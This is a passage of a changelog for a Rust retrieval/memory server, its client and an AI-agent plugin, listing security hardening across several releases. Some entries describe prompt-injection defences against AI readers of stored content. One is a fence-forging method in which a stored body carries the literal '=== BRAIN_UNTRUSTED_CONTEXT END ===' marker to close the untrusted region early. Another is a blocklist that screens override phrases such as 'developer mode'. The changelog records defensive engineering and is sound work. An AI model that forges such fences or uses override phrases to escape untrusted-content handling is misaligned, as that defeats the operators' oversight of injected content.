  • Model-truth corrections: the multilingual retrieval profile was mislabeled — minishlab/potion-base-2M is an English model (distilled from BAAI/bge-base-en-v1.5), not multilingual. Renamed to compact (PROFILE_COMPACT); the old PROFILE_MULTILINGUAL/MODEL_PROFILE=multilingual remains as a deprecated alias resolving to the same profile (no behavior change). Also corrected mxbai-rerank-large-v1 to DeBERTa-v3-large (~435M, was misstated as v2) and gte-base-en-v1.5 to ~137M (was 149M).
  • Model binaries are gitignored (downloaded per the plan, never committed).
  • Docs aligned to source truth: docs/configuration.md gains the retrieval-profiles model matrix + BRAIN_RERANK_MODEL_DIR / BRAIN_RERANK_TOP_N; docs/SPECS.md §7.5 current-state rewritten; docs/BENCHMARKS.md v1.28 smoke annotated as pre-retune (it exercised bge-reranker-v2-m3); README model row lists all profiles
    • the reranker; docs/README.md (the mdBook index) gains the minimum-hardware table for the compact/desktop/enterprise tiers.
  • Honest ceiling: the v1.28 n=37 smoke numbers stand directionally — the mxbai re-run on the ≥100-query frozen set is still PENDING (v1.31 “Proven”). No parity claim is made. The audit chain’s remaining integrity gaps — full-field hashing (F-03) and keyed verification (HMAC) — are deferred to the announced audit-repair milestone (IMPLEMENTATION_PLAN_v1.27.31_AuditRepair.md) because both change the chain format and require an operator re-anchor; this release only closes the fork window that needed no format change. Tests: server bin 696/6 ignored (+1), lib 137/1.

[1.27.25] — 2026-08-19

Server + plugin release (server Cargo.toml/lock 1.27.24 → 1.27.25; plugin 0.4.5 behavior fix, no version bump to the published package — the graph flag change is wire-compatible). “Scoped” — the pass-3 audit remediation, both waves: the graph-PPR recall leg gets the same tenant/owner/scope boundary as the other legs BEFORE it ships default-on, the surviving unscoped shim-mode reads get the /get/{id} treatment, and the audit-chain/restore/evidence hardening lands with one additive migration (schema stamp 1.27.22 → 1.27.25: the idx_rels_open_unique partial unique index + legacy double-open dedup). No telemetry.

Release notes

Security fixes

  • The graph-PPR third recall leg is now scoped like the vector and FTS legs. It applies the domain label, access_scope, owner, memory-kind and retention predicates via the same shared SQL builder (push_gate_filters), and carries k.pii into the hit so the read seam redacts graph hits exactly like the other legs. Before this, the leg (unreleased default-on) ignored every filter and hardcoded pii: false — a cross-domain, cross-owner, unredacted side door on /recall, /search, and /ump/recall in shim mode (pass-3 S3-01, CRITICAL). Pinned by graph_leg_scopes_domain_and_owner_s3_01 + graph_leg_empty_permit_and_pii_carry_s3_01 (two-domain shared-entity fixture — the exact collision shape of the finding).
  • /verify binds the X-Brain-Domain label in SQL + the record gate (the /get/{id} idiom): a foreign-domain chunk id now reads as not-found instead of answering “supported” as a cross-domain content-confirmation oracle (S2-09). Pinned by verify_cannot_cross_domain.
  • GET /ump/memory/{id} binds the domain label + record gate — the MCP-reachable (ump.get) surface no longer renders any row by bare id under a global read grant (S2-10). Pinned by ump_get_memory_cannot_cross_domain.
  • GET /procedure/{id}/steps binds the domain label + record gate (S2-30).
  • GET /domains/{name}/export requires Admin in shim mode — the snapshot resolves to the ONE shared pool there (every tenant's chunks, owners, the audit chain), which a per-name Read grant must never cover. Multi-db keeps Read (the file IS the domain). The VACUUM INTO path now goes through the shared quote-escaping primitive (S2-08/S2-24).
  • The rate limiter moved OUTSIDE the auth layers. An unauthenticated flood is now 429-throttled before any token work — previously it 401-rejected before ever consuming a bucket, and each free 401 performed a synchronous audit write on a fresh connection (unthrottled DB-write-per-request amplification). The deny-path audit writes now run on spawn_blocking (S3-03). Pinned by rate_limit_layer_is_outside_auth_layers.
  • GET /graph/relationships/{id}/history gates on Action::Admin, matching what every doc surface (CHANGELOG §1.27.22, openapi.yaml, docs/api.md, its own doc comments) already claimed — the retired PII-bearing entity labels it returns are operator evidence. The read-audit failure is no longer silent (S3-02).
  • /add writes the quarantine flag IN-TX, before the commit — a failed flag write now rolls the whole chunk back (the /ingest/memory posture) instead of leaving the injection chunk durably stored flagged = 0 while telling the caller it failed (S3-06).
  • /suggest applies the v1.14 scope filter + v1.23 role gate like /recall — an owner-restricted role no longer sees other owners' private rows as suggestions (S2-29).
  • Smaller hardening: X-Forwarded-For trusts the RIGHTMOST entry under BRAIN_TRUST_PROXY=1 (leftmost is client-spoofable; S2-39); the rate limiter fails CLOSED on a poisoned lock (S2-50); the dead "developer mode" blocklist entry now matches (whitespace is stripped pre-match; S2-44); the audit-chain BEGIN-failure path bumps audit_commit_failures (it was silent; S3-09); the two boot-time VACUUM INTO literals go through the escaped primitive (S3-11).
  • The audit retention prune now VERIFIES before it prunes and records a retention evidence row for what it deleted — previously the re-anchor would have re-blessed a tampered chain into a freshly-verifying one (evidence laundering), and the deletion of audit evidence was itself unevidenced. A failed re-anchor UPDATE now rolls the whole prune back instead of committing a half-rewritten chain (S2-16 + S2-35).
  • verify_chain enforces the NULL-prefix rule (F-03, the no-hash-change half): a NULL prev_hash is legal only before the chain starts. Legitimate writers always chain from the tip once one exists, so a mid-chain NULL is tamper — previously it was skipped silently at any position. No stored hash changes.
  • brain restore re-applies ACTIVE legal holds from the pre-restore DB and loudly discloses tombstoned content the backup resurrected — a pre-hold backup no longer silently unfreezes litigation-held ids, and an undone DSAR purge is on the record (S2-28).
  • The open-edge invariant is structural: idx_rels_open_unique (partial UNIQUE on the triple WHERE superseded_at IS NULL, after a deterministic newest-wins dedup of legacy double-open rows) — a racing double-insert now fails at the DB and rolls back the ingest instead of corrupting the lineage (S3-08; schema → 1.27.25).
  • The remaining shim-mode reads are scoped: /decayed + /quarantine bind the X-Brain-Domain label in SQL; /stats counts by domain label (entities/relationships via their chunk linkage); /consolidate/propose requires Admin in shim mode (its five detection scans are corpus-wide); the domain-registry domain_invalid error no longer embeds the known_domains inventory (S2-31/43/32).
  • Ingest auto-routing re-authorizes on the ACTUAL target — a write:<t>/global-only principal can no longer contaminate another tenant’s domain through centroid routing (S2-33).
  • /clients denies empty-grant auditors at the gate (403, not a silent 200-empty — “Some([]) denies all” now means the surface too; S2-15).
  • The DSAR certificate’s remanence claim follows the pragma attempt — on a failed secure_delete=ON it downgrades to the disclosed logical posture instead of certifying an overwrite that never ran (S2-18).
  • Chunker fidelity: an UNTERMINATED oversized fenced block no longer duplicates its final code line into every stored piece (the last line was treated as a closer it wasn’t); degenerate over-cap lines inside fences end with a newline so re-attached closers sit at line starts; prose pieces stay strict verbatim (S2-19/S2-20).
  • Evidence self-links are skipped in the batched enrichment (a from == to row satisfied both IN (…) groups and duplicated into API responses; S2-38). Domain delete now archives tombstones + evidence_links into the pre-delete segment alongside the audit rows — the deletion registry is evidence and no longer dies with the domain (S2-21).
  • Plugin: autoRecallGraph: false disables the graph leg again. The flag previously OMITTED the graph param when false, so the server's default-on change silently enabled the leg for every plugin user. The flag is now always sent explicitly; the plugin's documented default stays opt-in.

Improvements

  • openapi.yaml /health + /health/db schemas now match the shipped shapes (the public probe is {status, version}; the detailed body is Read-gated on /health/db) — the contract previously documented the full fingerprint body on the public route. SECURITY.md egress inventory is truthful (three enumerated, bounded, opt-in/gated paths — not “exactly one”).

Engineering record

M1 (S3-01, the headline): graph_retrieve(conn, query, k, &SearchFilters) — the chunk fetch composes k.domain = ? + push_gate_filters (access_scope / owner / memory_kind / retention) with the flagged clause, and the SELECT now carries k.pii into SearchResult (previously SearchResult::raw hardcoded pii: false and the recall read seam keyed redaction on that flag — graph hits were structurally unredactable). One call site (perform_search_traced passes &gfilters); UMP recall rides run_recall → the same path. PPR mass still flows through shared entities in shim mode (ranking influence only — no content exposure; the entity-name oracle remains the documented S2-41 ceiling).

M2: the /get/{id} idiom (label in SQL + row-domain re-auth + record_read_gate) applied to /verify, /ump/memory/{id}, /procedure/{id}/steps; record_read_gate/role_retrieval_gate resolved once per request outside the blocking closures (the role gate opens a pool connection — calling it inside a closure that holds one can deadlock a size-1 pool).

M3: layer reorder + spawn_blocking deny-audit + source-inspection pin (rate_limit_layer_is_outside_auth_layers, the F-44 layer-order meta-test pattern — axum: the LAST .layer() is outermost, so the pin asserts the registration order in build_app).

Tests: server bin 696 / 6 ignored (+7: the two graph-scoping pins, the layer-order pin, the /verify + /ump domain pins, the NULL-prefix + prune-event audit pins, the restore-holds pin, the chunker pins, the partial-index bite in the schema contract), lib 136 / 1, brain 18, mcp 19, bench 5, eval 2, metrics 8; clippy -D warnings + fmt clean; release build clean. Plugin: the full openclaw extension suite ran green in the openclaw workspace — 145 passed (144 + the new autoRecallGraph explicit-send pin), oxlint 0/0, tsc + tsgo clean; the rebuilt dist bundle carries the fix.

Honest ceilings: the graph leg's PPR mass still crosses domains through shared entity names in shim mode (ranking signal only — every emitted hit is scoped); /search's sources filter does not constrain the graph leg (ingest-kind filtering stays a vector/FTS capability); the audit chain remains unkeyed/5-of-8-fields (F-03 — deferred to the audit-repair milestone with S2-16/S2-35); restore-path legal holds remain deferred (S2-28); main.rs grew (~+230 lines — three of the four pass-3 findings lived in it).


[1.27.24] — 2026-08-18

Server-only release (server Cargo.toml/lock 1.27.23 → 1.27.24; client + plugin unchanged). “Brushed” — the dead-code + fail-closed pass from the lipstyk de-slop audit: remove the module-wide #![allow(dead_code)] escapes that hid real dead code, and close the one genuine poisoning-control swallow the sweep surfaced. No schema, no migration, no wire change, no telemetry.

Release notes

Security fixes

  • A corrupt breach jurisdictions cell now fails the row read instead of silently becoming an empty list. If the stored JSON on a breach was corrupted, the breach previously read back with zero affected jurisdictions — hiding from the DPO every affected-law notification deadline that the breach carries. That read now errors loudly (fail-closed, the repo’s D-1 “never certify silence” invariant) rather than presenting an empty scope.

Bug fixes

  • Removed the blanket #![allow(dead_code)] + #![allow(unused_imports)] on the handlers module and deleted the real dead code they were hiding (unused imports in auth, recall, ump, govern; the never-used authorize_read_domain; the never-read ProposalRow.created_at; the UMP recall ranking_hints request field, now _ranking_hints with its wire key preserved). No behavior change — clippy -D warnings is now the dead-code watchdog instead of a blanket allow.

Engineering record

M5 removes the two module-wide allows the audit named. handlers/mod.rs: removing the allow exposed genuinely-dead items, each deleted or repaired (verify-by-reading, not blind-apply). connector/mod.rs keeps a truthful allow: that module is the brain-connector-gh binary’s library (auth, github client, supervisor, translate pipeline) — it is not reachable from the server runtime, but deleting it would remove a shipped, tested, feature-gated binary, so it stays with an honest reason rather than the stale “stubs for future versions” comment. M3 closes the one genuine poisoning-control swallow the sweep surfaced (breach::row_from serde_json → FromSqlConversionFailure), pinned by row_decode_fails_closed_on_corrupt_jurisdictions. Tests: server bin 689 passed / 6 ignored (+1), lib 133 passed / 1 ignored; clippy -D warnings clean on default + bench + otel; fmt clean; connector-github feature still compiles. Honest ceiling: the lipstyk de-slop audit targeted zero diagnostics; this release delivers the headline dead-code + fail-closed items and explicitly does not chase the residual heuristic hits, the bulk of which are false positives by inspection — Option<String>→"" wire shapes on DB-nullable columns (audit/recall serialization), best-effort cleanup paths (remove_file/ROLLBACK/thread-join where warn! would be noise), legitimate clones into owned containers/Arc handles/moved-into-spawn_blocking closures, and the feature-gated connector library — and a blind sweep to force “zero” would risk behavior changes the hard rule forbids. The genuine error-swallowing class (a failure meaning a control silently didn’t run) was already swept in v1.27.19 and is closed here for the breach read. Rollback is per-file and semantics-free.


[1.27.23] — 2026-08-18

Server-only release (server Cargo.toml/lock 1.27.22 → 1.27.23; client + plugin unchanged). “Medicate” — the three security findings the adversarial pass surfaced as still-open, delivered as small, behavior-gated hardening: no new schema, no new endpoints, no wire change, no telemetry. Two landed here (health surface reduction + fail-closed embed errors); the third (the bounded outbound client) was already shipped in v1.27.21 (M9: 5 s connect / 15 s total egress bound) and is re-verified, not re-built.

Release notes

  • Public /health is now the minimal probe shape. The unauthenticated load-balancer probe shows only status + version; every deployment-fingerprinting field (model, otel.endpoint, pool, backup, webhook, hardening, compliance.dpo_contact, integrity) moved behind the authenticated /health/db detail. Operator monitors must switch to the gated detail.
  • HTTP/2 dependency hardened (h2 0.4.16). Clears RUSTSEC-2026-0258 (“unbounded empty DATA frames”) on the reqwest/hyper client; cargo audit is clean on both trees.
  • Silent embedding failures are now loud. If a neural embedder fails to load, the server emits a warning instead of quietly returning an empty vector (which callers already skip) — no more silent retrieval gaps.

Security fixes

  • Public /health is now the minimal probe shape (A-02). The load-balancer probe (status + version) stays public; every deployment-fingerprinting field — model, otel.endpoint, pool, backup, webhook, hardening, compliance.dpo_contact, integrity — moved behind the existing Read gate on /health/db. An unauthenticated network probe can no longer fingerprint a regulated BPO deployment. Intentional surface reduction (same class as the v1.20.2 F2 carve-out): an operator monitor reading the detailed fields must switch to the gated /health/db.
  • Dependency hardening: h2 0.4.15 → 0.4.16 (RUSTSEC-2026-0258). The HTTP/2 dependency (reached via the reqwest/hyper client) was bumped to clear the “unbounded empty DATA frames” advisory. cargo audit returns exit 0 on both the server and client trees; the two remaining findings are unmaintained warnings (paste, number_prefix) deep in the HF tokenizers/model2vec stack — not vulnerabilities, and not clearable without a major bump.

Bug fixes

  • Embed failures are no longer silent (A-03). The feature-gated neural embedders (bge-m3 / gte-base-en-v1.5) logged nothing when the model failed, returning an empty vector the callers silently skipped. Every failure branch now emits a warn! (the D-1 “never certify silence” invariant the repo enforces on the audit settle, quarantine flag, and purge residues). Behavior is otherwise unchanged: callers already skip the row on an empty vector, so no corrupt zero-length embedding was ever written — this closes only the missing signal, not the guard.

Engineering record

M1 egress bound was already shipped (v1.27.21 M9) — no new work. M2 reuses the existing /health/db Read gate + the pure health_body builder (no new route, no dead code: the builder stays the detailed body used by the gated route). M3 is the minimal fail-closed signal on the two neural failure branches. Tests: server bin 688 passed / 6 ignored (+2: public_health_is_minimal, detailed_health_requires_admin), lib 133 passed / 1 ignored; clippy -D warnings + fmt clean; route-authz + openapi guard tables unchanged (no new routes, no openapi response change). Honest ceilings: /health shrinking is the intended behavior change — public monitors must move to the gated detail; the neural warn path is reachable only under --features neural-embed (enterprise/desktop — the default edge static model is infallible); an embed failure still returns an empty vector that the caller skips — it is now loud, not silent; compliance.dpo_contact stays on the Read-gated detail (the privacy notice remains the public subject-contact channel). Rollback is trivial: revert M2 to restore the old public body, or M3 to return to the silent-empty behavior.


[1.27.22] — 2026-08-18

Server-only release (server Cargo.toml/lock 1.27.21 → 1.27.22; client + plugin unchanged). “Cascade” — a bug-fix release closing two documented-but-unimplemented behaviors in the graph edge layer: edge supersession was write-once (nothing ever closed an old edge’s invalid_at when reality changed) and traversal claimed to skip superseded edges but never did. This release makes the code true to its own documentation, reusing the bi-temporal columns + hash-chained audit + quarantine machinery already shipped. No new storage, no new schema columns/tables, no wire change, no telemetry; the schema stamp advances to 1.27.22 for the added relationships.superseded_at column + index swap.

Bug fixes

  • Edge supersession is now wired (BUG-1). The ingest path replaced its write-once INSERT OR IGNORE with a pure bi-temporal resolver (resolve_edge_insert). Re-ingesting an unchanged relation is still an idempotent no-op (no history churn); re-ingesting a relation with a changed window/interval now retires the old edge version (superseded_at = the transaction-time end, old row preserved verbatim) and inserts the corrected version as the new current belief. The handoff is exact: old.superseded_at == new.created_at.
  • Traversal now skips superseded edges (BUG-2), matching its own doc. The recursive walk filters edges to current beliefs: live (superseded_at IS NULL) and the newest live version of their (from, to, relation_type) triple. This is a no-op on well-formed/legacy DBs (a lone edge has no newer live peer), so default recall/traversal output is byte-identical; it corrects the case where a backdated supersession previously returned two edges claiming the same triple at one instant.
  • /graph/relationships/{id}/history (Admin, audited). A new read surface reconstructs the full version history of an edge triple — every version in order with its four timestamps (valid_at, invalid_at, created_at, superseded_at) + a current flag — given any one version id, so a superseded belief can always be recovered (supersession never deletes).
  • Superseded edges are hidden from graph + adjacency reads. GET /graph/relations, entity_relations, relations_for, the UMP relation fan-out, and the graph-PPR adjacency aggregation all filter to current beliefs, so a retired edge no longer surfaces as a live relation.

Improvements

  • Supersession events ride the existing hash-chained audit log (AuditKind::Ingest, detail created:<id> / superseded:<old_id>->:<new_id>) and the history-surface read is itself recorded (AuditKind::GraphRead).
  • Fail-closed: an inability to resolve an edge insert declines the ingest transaction (never a silent half-write); an unresolvable history id returns 404 Relationship not found.

Security fixes

  • None (no new trust boundary; the graph-label read seam posture is unchanged from v1.27.21).

Engineering record

  • New lib module graph_supersede (pure resolve_edge_insert + EdgeAction::{SameWindow, Created, Superseded}, unit-tested with a bare Connection), wired from ingest.rs; migration adds superseded_at and swaps the write-once UNIQUE index for the plain idx_rels_bt (schema 1.27.22).
  • Tests: server bin 686 / 6 ignored (was 685; +1 edge_history), lib 133 (incl. 5 graph_supersede), graph superseded_edges_are_not_counted_in_adjacency, traversal_skips_superseded_edge, traversal_keeps_oldest_edge_when_no_later_same_typed, graph_read_surfaces_hide_superseded_edges; clippy -D warnings + fmt clean.
  • Recall gate green on the new build: brain eval --floor r5=0.85,r10=0.85,mrr=0.85 over the frozen 37-query 10-doc smoke corpus → r@5 0.919 / r@10 0.919 / mrr 0.905 / ndcg@10 0.909, exit 0 (see BENCHMARKS.md).
  • Honest ceilings: edge supersession is deterministic on the temporal interval, not LLM-judged (semantic contradictions like “now trust X, still respect Y” stay out of scope); history is the versioned edge rows, not a per-field audit diff; this is a correctness/doc-truth fix, not a recall-quality claim — LongMemEval parity stays PENDING. Rollback is minimal: supersession only sets superseded_at (never destructively mutates), so reverting M1/M2 restores the old no-op write path; leftover superseded: audit rows are harmless evidence. Verify brain doctor post-install (first boot since v1.27.21 runs the idempotent migration). See IMPLEMENTATION_PLAN_v1.27.22_Cascade.md.

[1.27.21] — 2026-08-18

Server + client + plugin release (server Cargo.toml/lock 1.27.20 → 1.27.21; client 1.27.20 → 1.27.21; plugin 0.4.4 → 0.4.5). The complete hardening pass — fail-closed erasure + fence-forgeability close, the class the pass-2 audit rates CRITICAL when an unfenced erasure seam or a forgeable untrusted region diverges. No new schema, no new columns/tables, no telemetry; the one wire change is the deliberately-bit-stable backup v3 writer.

Release notes

  • Legal-hold fence closed on two erasure paths (S2-03 CRIT / S2-04). A held chunk was frozen against /purge, DSAR and forget — but POST /ump/forget {"hard":true} (reachable at Write scope via the MCP ump.forget tool) and the ingest-replace/vault sweep bypassed the fence and could erase it. Both now run refuse_if_held in-tx → 409 legal_hold_active, all-or- nothing.
  • Fence-forgeability close (S2-02). A stored body containing the literal === BRAIN_UNTRUSTED_CONTEXT END === (or BEGIN) would close the untrusted region early. The shared strip_sentinels primitive now removes both literals before wrapping on every seam (MCP tool_result_payload + format_response, and the plugin’s recall banner), ordered invisible-strip first so a zero-width split cannot re-heal a marker into the fence.
  • Backup v3 header bound as GCM AAD + KDF bounds (S2-13 / S2-14). The v2 header was not covered by the GCM tag — any header bit could be flipped without failing authentication. v3 (same byte layout, brain backup now defaults to v3) binds the exact header bytes as GCM AAD, and validate_kdf_params bounds attacker-controlled Argon2id params before any allocation (m 8 MiB..1 GiB, t 1..=64, p 1..=8) so a crafted m = u32::MAX errors (kdf_params_out_of_range) instead of OOMing. brain backup accepts v1|v2|v3; legacy v1/v2 files keep their read paths.
  • Auth fail-closed (F-27 class). A single-team wildcard read:<team>/* now grants only the shared global pool, never every tenant’s named domain (a flat domain namespace means the team field can never narrow a * domain grant — naming a domain requires naming it); and a token with no roles passes require_dpo_role only when the deployment defines no roles at all, closing the single-token shape that could ride a bare admin scope.
  • Empty reconcile is an explicit decision (S2/N1). An empty live_uris previously retired every active vault source and swept its chunks, indistinguishable from a failed listing. It now 400s live_set_empty unless the caller sets allow_empty: true; the client panel waives it only through the shared two-step confirm.
  • Client offline-queue integrity (N5–N8). Retry-park (a persisted counter parks an auto-replay after 5 failures instead of refiring forever; destructive actions always park); idempotency key normalizes the volatile fields out so a re-enqueue collapses onto its twin; the persisted DSAR subject hash is now SHA-256(salt ‖ subject) with a per-install salt (defeats precomputed/rainbow tables, legacy items decode via the empty-salt form); and the purge owner is persisted so an owner-scoped purge no longer replays as an empty no-op body that silently erased nothing.
  • Replay drift (N9/N13). Char-boundary-safe hash_prefix (a corrupt stored hash truncates on char boundaries) and kept_set drift detection vs the parent catch same-length row swaps.
  • Fence sentinel in the plugin (M7). The plugin resolves its bearer via the env ladder BRAIN_TOKEN_FILE → BRAIN_TOKEN → config, never writes a token, and its per-turn abstention log logs the query length only (a recall query is user text and openclaw’s log is persistent) — see the plugin 0.4.5 CHANGELOG.
  • Webhook egress bound. The egress client now enforces a 5 s connect / 15 s total timeout so a hung sink cannot stall the request path.

Engineering record

Tests: server lib 128 / 1 ignored, main bin 674 / 6 ignored, brain 18, mcp 19, bench 5, eval 2, metrics 8; client 140 → 152; clippy -D warnings + fmt clean on both trees (server default + bench; the three client gate failures found during the pass — &mut Vec→slice, unnecessary slice-clone, and a grep-guard that matched its own assertion literal — are fixed with new pins); wasm release build 5.3 MB (budget 7). Plugin 0.4.5 green on the openclaw tree (144 vitest + oxlint + tsc). Honest ceilings: backup v3 AAD binds header bytes at write/read time — it does not migrate or re-anchor existing v2 .bak files (they stay readable via the v2 no-AAD path); the legal-hold fences are read-time enforcement over stored rows (a write that stores a wrong label is out of scope); N7’s salt sits in the same localStorage as the hash — it is uniqueness, not secrecy; the role-empty gate is governance narrowing — a deployment that defines roles but issues scope-only tokens sees those surfaces denied until roles are granted. F-09/S2-28 (restore-path audit-chain verification + legal- hold/tombstone reapply) is deliberately deferred to the audit-repair milestone. See IMPLEMENTATION_PLAN_v1.27.21_Finish.md.


[1.27.20] — 2026-08-17

Improvements — “Console”

Client + CLI release (server Cargo.toml/lock 1.27.19 → 1.27.20; client 1.27.19 → 1.27.20; plugin unchanged at 0.4.4). The operator surfaces meet the 2026 bar: honest i18n, honest states, machine-parseable CLI, and help that cannot drift. No server endpoints, no schema change, no telemetry. M3 the i18n truth (F-38): the five locale bundles now expose one identical key set (pinned by the parity wall), every render surface (main chrome, command palette, review queue, recall, security, health, register, graph, subjects, ops, audit, data, system, ump, ingest, procedures, consolidate, the shared confirm) resolves labels through t()/t_fmt() — a new no_raw_strings_in_rsx source-scan test gates future work with an explicit // i18n-exempt: <reason> escape; the keyboard-shortcuts label gained the missing E (edit) key. F-36 the client’s shared HTTP client carries the CLI’s socket discipline (5s handshake / 15s total — a hung backend surfaces as ApiError::Network instead of a panel spinning forever); the builder methods are native-only, the wasm target keeps the plain client (browser fetch owns its own timeouts — verified by the client-gate wasm build). M4 the CLI (F-37): --json envelope mode ({"ok":true,"cmd":…,"data":…} / {"ok":false,…,"error":{"code":…}}) for every data command (query, explain, get, ingest-dir, suggest, suggest-metrics, retention, snapshot-status, connector-status, status, eval) with documented exit codes (0 ok · 1 runtime · 2 usage); the flag parser learns its vocabulary — boolean flags (--dry-run, --yes, --force, --json, …) never swallow the next token (ingest-dir --dry-run ~/vault finally works), unknown flags exit 2, -- ends flag parsing, and --k abc exits 2 with “must be an integer” instead of silently becoming 5; ingest-dir exits non-zero when every file failed (code all_files_failed); status renders -1 sentinels as n/a; help is generated from the one subcommand table the dispatcher uses (the flush-left brain client add survivor line is gone, brain token rotate + brain ump … were missing and are now listed, and a flags:/exit codes: section documents the contract); brain suggest output runs the same strip chain as recall/get (markdown-ref + invisible + control-char parity).

Bug fixes

  • brain ingest-dir --dry-run <path> treated the path as the flag’s value and ingested nothing; --k abc silently coerced to 5; unknown --flag was swallowed instead of refused; brain status printed -1 for absent counters; brain client add rendered flush-left in help.

Release notes

  • Every label in the app now resolves through the translation layer. The five locale bundles (en/de/fr/es/nl) expose one identical key set, and every render surface — main chrome, command palette, review queue, recall, security, health, register, graph, subjects, ops, audit, data, system, ump, ingest, procedures, consolidate, the shared confirm — resolves its labels through t()/t_fmt() instead of hard-coded strings. A new source-scan test gates future work so a raw string can’t silently leak back into the UI. The keyboard-shortcuts help also gained the missing E (edit) key.
  • A hung backend can no longer spin a panel forever. The client’s shared HTTP client carries the CLI’s socket discipline (5s handshake / 15s total), so a backend that stops answering surfaces as a network error instead of an endlessly-loading panel. (The browser/wasm build keeps its own fetch timeouts.)
  • The CLI’s --json envelope mode is here. query, explain, get, ingest-dir, suggest, suggest-metrics, retention, snapshot-status, connector-status, status, and eval all emit a machine-parseable {"ok":…,"cmd":…,"data":…} envelope with documented exit codes (0 ok · 1 runtime · 2 usage).
  • Flag parsing is honest. Boolean flags (--dry-run, --yes, --force, --json, …) never swallow the next token, so ingest-dir --dry-run ~/vault finally works. Unknown flags exit 2 instead of being silently swallowed, -- ends flag parsing, and a bad value like --k abc exits 2 with a clear message instead of silently becoming 5. ingest-dir exits non-zero when every file failed. status renders absent counters as n/a.
  • brain --help cannot drift. Help is generated from the same subcommand table the dispatcher uses — the orphaned brain client add line is gone, brain token rotate and brain ump … are now listed, and a flags:/exit codes: section documents the contract. brain suggest output also runs the same cleanup chain as recall/get.

Bug fixes

  • brain ingest-dir --dry-run <path> previously swallowed the path as the flag’s value and ingested nothing.
  • --k abc silently coerced to 5; unknown --flag values were swallowed instead of refused.
  • brain status printed -1 for absent counters.
  • brain client add rendered flush-left in help output.

Engineering record

Tests: server main bin 670 / 6 ignored (unchanged count — the CLI bin grew 12 → 18 with the flag-vocabulary + help-truth tests); lib 126 / 1; client 140 → 143 (+ the parity wall stays, + no_raw_strings_in_rsx and its scanner unit tests); clippy -D warnings + fmt clean on both trees; brain --help diff reviewed line-by-line (only the intended lines move); live smoke green: ingest-dir --dry-run 136 simulated, --json query/status/ snapshot-status/suggest-metrics/get envelopes, --k abc exit 2, unknown subcommand/flag exit 2, setup --json refused with exit 2. Honest ceilings: --json covers the data commands — interactive flows (setup, client, token, key, backup/restore, doctor, reconcile, sync, connect) refuse it loudly (exit 2) rather than pretend; the flag vocabulary is a fixed list (a new flag must be added there + in help, both single-sourced); the no_raw_strings_in_rsx scan skips prop values (placeholder:) by design — the visible placeholders are keyed but the rule itself targets labels; modal focus-trapping, the digest display, deep-link states and the render-path fetch fix shipped with their tests in earlier v1.27.x work and are re-verified here. See IMPLEMENTATION_PLAN_v1.27.20_Console.md.


[1.27.19] — 2026-08-16

Security — “Scrub”

Server + client release (server Cargo.toml/lock 1.27.18 → 1.27.19; client 1.27.15 → 1.27.19; plugin unchanged at 0.4.4). The silent- failure pass: every write-path let _ =, the auth denylist’s 204-always lie, the best-effort audit settle, and every client action whose outcome was dropped on the floor — plus the prompt-injection screen hoisted out of the per-query hot loop. No new endpoints, no wire changes, no schema change, no telemetry.

Release notes

  • A failed logout/revoke no longer says 204 “done”. POST /auth/logout and POST /auth/revoke wrote the token to the revocation denylist best-effort and returned success regardless — an operator logging out believed the token was dead when a failed INSERT left it live for its full 15-minute shelf life (and a revoked token could be refreshed). Both now surface a denylist write failure as 500 revoke_failed; success still means the token is really dead.
  • Purge residue deletes propagate (were let _ =). A chunk purge deleted the tombstoned row’s relationships / vec0 embedding / evidence links / traces in silence — one failing DELETE while the rest succeeded left a partial erasure that the purge then certified complete. Every residue delete now participates in the purge transaction: a failure rolls the whole purge back instead of certifying a lie.

Security fixes

  • The prompt-injection blocklist screen runs once per hit, not per consumer. Recall constructed each SearchResult with raw bytes, then the PRF query-expansion extractors re-normalized each hit’s content against the blocklist per query. The screen now runs once at construction and rides as an internal blocklist_hit flag (never serialized); both extractors read the flag. Behavior-identical, one scan saved per hit per query.
  • Erasure hygiene warns instead of certifying silence. The DSAR/shared purge previously swallowed a failed PRAGMA secure_delete=ON or a failed wal_checkpoint(TRUNCATE) — the two operations that ensure erased page images don’t survive in the WAL or freelist. Failures are now logged loudly instead of whispering “erased”.
  • Audit-settle failures are visible. The best-effort audit-chain settle (COMMIT/ROLLBACK of the chained row) could fail under a busy writer — the caller still got a row id, and nothing said the chain might have missed it. /health’s hardening block now carries a monotonic audit_commit_failures counter (0 = green; >0 = rows possibly off the durable chain).
  • Every other write-path let _ = residue propagated (23 further sites): chunk stored without its evidence links, stale vec0 rows surviving reindex, webhook seen-writes, retention prunes, refresh failures, orphaned PII residues, secure_delete/TRUNCATE on purge — each now either fails the operation or warns with context.
  • Client decisions announce their outcome. A failed approve/reject in the Operations queue, a failed quartine release/delete in Security, and failed decayed/tombstone loads in the Data panel were silently dropped — each now renders an aria-live status line (was let _ = on the result, or if let Ok on the load).
  • A single-record ingest lost its last panic. The singleton UMP path lowered a one-element batch with .next().unwrap() behind a length guard; it is now a pop() + ? — no panic fallback left on the write path.
  • Dead “reserved” trace vocabulary removed. trace.rs shipped an #[allow(dead_code)] update:/supersedes:/contradicts:/causes: prefix vocabulary “reserved for v1.6 Reconcile”; v1.6 shipped and closed without consuming it. The dead constants and their tests are gone — the used surface (MAX_HOPS/MAX_VISITED traversal caps) is unchanged.

Engineering record

  • D-8 pinned: blocklist_flag_one_shot_at_construction_and_consumed (flag = raw()’s screen; the extractors consume the flag — a flag-only hit is excluded even with clean bytes) + prf_skips_injection_flagged_content re-routed through raw() so the negative-feedback guardrail exercises the production construction seam.
  • F-54 pinned: revoke_reports_failure proves a failing denylist write surfaces 500 revoke_failed (AuthHandlerError) instead of a lying 204.
  • D-1 purge-integrity pinned by the residue-delete propagation tests in the purge/DSAR suite (a failing residue rolls back the whole purge).
  • Tests: server bin 670 / 6 ignored, lib 126 / 1 ignored, brain 12, mcp 17, bench 8, client 132; clippy -D warnings + fmt clean on both trees; badges.sh --selfcheck clean.
  • Honest ceilings: audit_commit_failures reports, it does not retry (the settle is best-effort by design); the blocklist flag is a construction-time snapshot — content is immutable after construction in every path (fusion clones verbatim), so the flag cannot drift; the client status lines are per-action announcements, not an action log (server-side per-action history remains v2.x); the purge hygiene is a warn, not a retry loop. See docs/AGENTS_HISTORY.md for the audit trail.

[1.27.18] — 2026-08-16

Performance — “Groundwork”

Server-only release (server Cargo.toml/lock 1.27.17 → 1.27.18; client

